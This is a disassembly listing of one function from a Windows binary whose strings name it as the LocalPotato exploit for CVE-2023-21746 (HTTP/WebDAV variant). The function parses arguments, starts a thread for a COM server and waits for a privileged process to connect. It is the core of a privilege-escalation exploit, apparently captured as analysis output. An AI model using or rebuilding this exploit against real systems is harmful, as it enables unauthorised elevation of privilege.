Function at 0x14001102d
Capabilities:
Create thread
Terminate process

Disassembly:
jmp 0x1400161c0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x210
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x48
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x238]
mov rax, qword [0x14002f040]
xor rax, rbp
mov qword [rbp + 0x1d8], rax
lea rcx, [0x1400353ba]
call fcn.140011677
lea rcx, str._n_n_t_LocalPotato__aka_CVE_2023_21746__HTTP_WebDAV___n
call fcn.1400112ee
lea rcx, str._t_by_splinter_code__decoder_it_n_n
call fcn.1400112ee
lea rax, [rbp + 0x10]
lea rcx, str.854A20FB_2D44_457D_992F_EF13785D2B51
mov rdi, rax
mov rsi, rcx
mov ecx, 0x4e
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x78]
lea rcx, str.10247
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x10]
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 0x78]
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0x104], 1
cmp dword [rbp + 0x200], 1
jle 0x1400164f9
movsxd rax, dword [rbp + 0x104]
mov ecx, 2
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x208]
mov rax, qword [rdx + rax*8]
movzx eax, word [rax + rcx]
cmp eax, 0x2d
jne 0x1400164f9
movsxd rax, dword [rbp + 0x104]
mov ecx, 2
imul rcx, rcx, 1
mov rdx, qword [rbp + 0x208]
mov rax, qword [rdx + rax*8]
movzx eax, word [rax + rcx]
mov dword [rbp + 0x1d4], eax
mov eax, dword [rbp + 0x1d4]
sub eax, 0x63
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0x12
ja case.0x140016303.1
movsxd rax, dword [rbp + 0x1d4]
lea rcx, [0x140000000]
mov eax, dword [rcx + rax*4 + 0x1663c]
add rax, rcx
jmp rax
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0xa8], rax
jmp 0x1400164d8
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0xc8], rax
jmp 0x1400164d8
call fcn.14001166d
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
movzx eax, word [rax]
cmp eax, 0x5c
jne 0x1400163e4
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
add rax, 2
movsxd rcx, dword [rbp + 0x104]
mov rdx, qword [rbp + 0x208]
mov qword [rdx + rcx*8], rax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [0x14002f5e8], rax
jmp 0x1400164d8
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [0x14002f5f0], rax
jmp 0x1400164d8
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [0x14002f600], rax
jmp 0x1400164d8
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [0x14002f5f8], rax
jmp 0x1400164d8
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rdx, qword [rcx + rax*8]
lea rcx, str.Wrong_Argument:__S_n
call fcn.1400112ee
call fcn.14001166d
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
jmp 0x140016275
cmp qword [0x14002f5e8], 0
jne 0x14001651c
cmp qword [0x14002f5f8], 0
jne 0x14001651c
call fcn.14001166d
mov eax, 1
jmp 0x14001660c
cmp qword [0x14002f5e8], 0
je 0x14001653f
cmp qword [0x14002f5f0], 0
jne 0x14001653f
call fcn.14001166d
mov eax, 1
jmp 0x14001660c
cmp qword [0x14002f5f8], 0
je 0x140016562
cmp qword [0x14002f600], 0
jne 0x140016562
call fcn.14001166d
mov eax, 1
jmp 0x14001660c
cmp qword [0x14002f5e8], 0
je 0x14001659a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001164f]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xe8], rax
jmp 0x1400165c6
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011320]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xe8], rax
call fcn.14001160e
mov r8, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
call fcn.14001152d
mov edx, 0xbb8
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x14001660a
lea rcx, str.____The_privileged_process_failed_to_communicate_with_our_COM_Server_:_
call fcn.1400112ee
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140026f50]
call fcn.14001158c
mov rax, rdi
mov rcx, qword [rbp + 0x1d8]
xor rcx, rbp
call fcn.14001130c
lea rsp, [rbp + 0x1e0]
pop rdi
pop rsi
pop rbp
ret